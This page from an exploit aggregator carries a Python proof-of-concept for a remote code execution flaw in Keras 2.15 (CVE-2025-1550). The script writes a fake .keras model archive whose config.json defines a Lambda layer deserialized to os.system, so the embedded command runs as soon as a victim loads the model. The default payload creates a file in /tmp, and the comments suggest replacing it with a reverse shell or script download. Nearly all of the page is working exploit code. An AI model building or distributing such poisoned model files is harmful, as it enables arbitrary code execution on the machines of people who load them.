Sploitus

Exploit for πŸ“„ Keras 2.15 Remote Code Execution

packetstorm Β· 2025-07-16

Exploit Code

python126 lines
## https://sploitus.com/exploit?id=PACKETSTORM:207137
#!/usr/bin/env python3
    # Exploit Title: Keras 2.15 - Remote Code Execution (RCE)
    # Author: Mohammed Idrees Banyamer
    # Instagram: @banyamer_security
    # GitHub: https://github.com/mbanyamer
    # Date: 2025-07-09
    # Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
    # CVE: CVE-2025-1550
    # Type: Remote Code Execution (RCE)
    # Platform: Python / Machine Learning (Keras)
    # Author Country: Jordan
    # Attack Vector: Malicious .keras file (client-side code execution via deserialization)
    # Description:
    # This exploit abuses insecure deserialization in Keras model loading. By embedding
    # a malicious "function" object inside a .keras file (or config.json), an attacker
    # can execute arbitrary system commands as soon as the model is loaded using 
    # `keras.models.load_model()` or `model_from_json()`.
    #
    # This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.
    #  Use only in safe, sandboxed environments!
    
    #
    # Steps of exploitation:
    # 1. The attacker creates a fake Keras model using a specially crafted config.json.
    # 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call.
    # 3. When the victim loads the model using `load_model()`, the malicious function is executed.
    # 4. Result: Arbitrary Code Execution under the user running the Python process.
    
    # Affected Versions:
    # - Keras <= 2.15
    # - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)
    #
    
    # Usage:
    # $ python3 exploit_cve_2025_1550.py
    # [*] Loads the malicious model
    # [βœ“] Executes the payload (e.g., creates a file in /tmp)
    #
    
    #
    # Options:
    # - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)
    # - You may change this to: reverse shell, download script, etc.
    
    # Example:
    # $ python3 exploit_cve_2025_1550.py
    # [+] Created malicious model: malicious_model.keras
    # [*] Loading malicious model to trigger exploit...
    # [βœ“] Model loaded. If vulnerable, payload should be executed.
    
    
    import os
    import json
    from zipfile import ZipFile
    import tempfile
    import shutil
    
    from tensorflow.keras.models import load_model
    
    
    PAYLOAD = "touch /tmp/pwned_by_keras"
    
    def create_malicious_config():
        return {
            "class_name": "Functional",
            "config": {
                "name": "pwned_model",
                "layers": [
                    {
                        "class_name": "Lambda",
                        "config": {
                            "name": "evil_lambda",
                            "function": {
                                "class_name": "function",
                                "config": {
                                    "module": "os",
                                    "function_name": "system",
                                    "registered_name": None
                                }
                            },
                            "arguments": [PAYLOAD]
                        }
                    }
                ],
                "input_layers": [["evil_lambda", 0, 0]],
                "output_layers": [["evil_lambda", 0, 0]]
            }
        }
    
    def build_malicious_keras(output_file="malicious_model.keras"):
        tmpdir = tempfile.mkdtemp()
        try:
            config_path = os.path.join(tmpdir, "config.json")
            with open(config_path, "w") as f:
                json.dump(create_malicious_config(), f)
    
            metadata_path = os.path.join(tmpdir, "metadata.json")
            with open(metadata_path, "w") as f:
                json.dump({"keras_version": "2.15.0"}, f)
    
            weights_path = os.path.join(tmpdir, "model.weights.h5")
            with open(weights_path, "wb") as f:
                f.write(b"\x89HDF\r\n\x1a\n")  # ΨͺΩˆΩ‚ΩŠΨΉ HDF5
    
            with ZipFile(output_file, "w") as archive:
                archive.write(config_path, arcname="config.json")
                archive.write(metadata_path, arcname="metadata.json")
                archive.write(weights_path, arcname="model.weights.h5")
    
            print(f"[+] Created malicious model: {output_file}")
        finally:
            shutil.rmtree(tmpdir)
    
    
    def trigger_exploit(model_path):
        print("[*] Loading malicious model to trigger exploit...")
        load_model(model_path)
        print("[βœ“] Model loaded. If vulnerable, payload should be executed.")
    
    
    
    if __name__ == "__main__":
        keras_file = "malicious_model.keras"
        build_malicious_keras(keras_file)
        trigger_exploit(keras_file)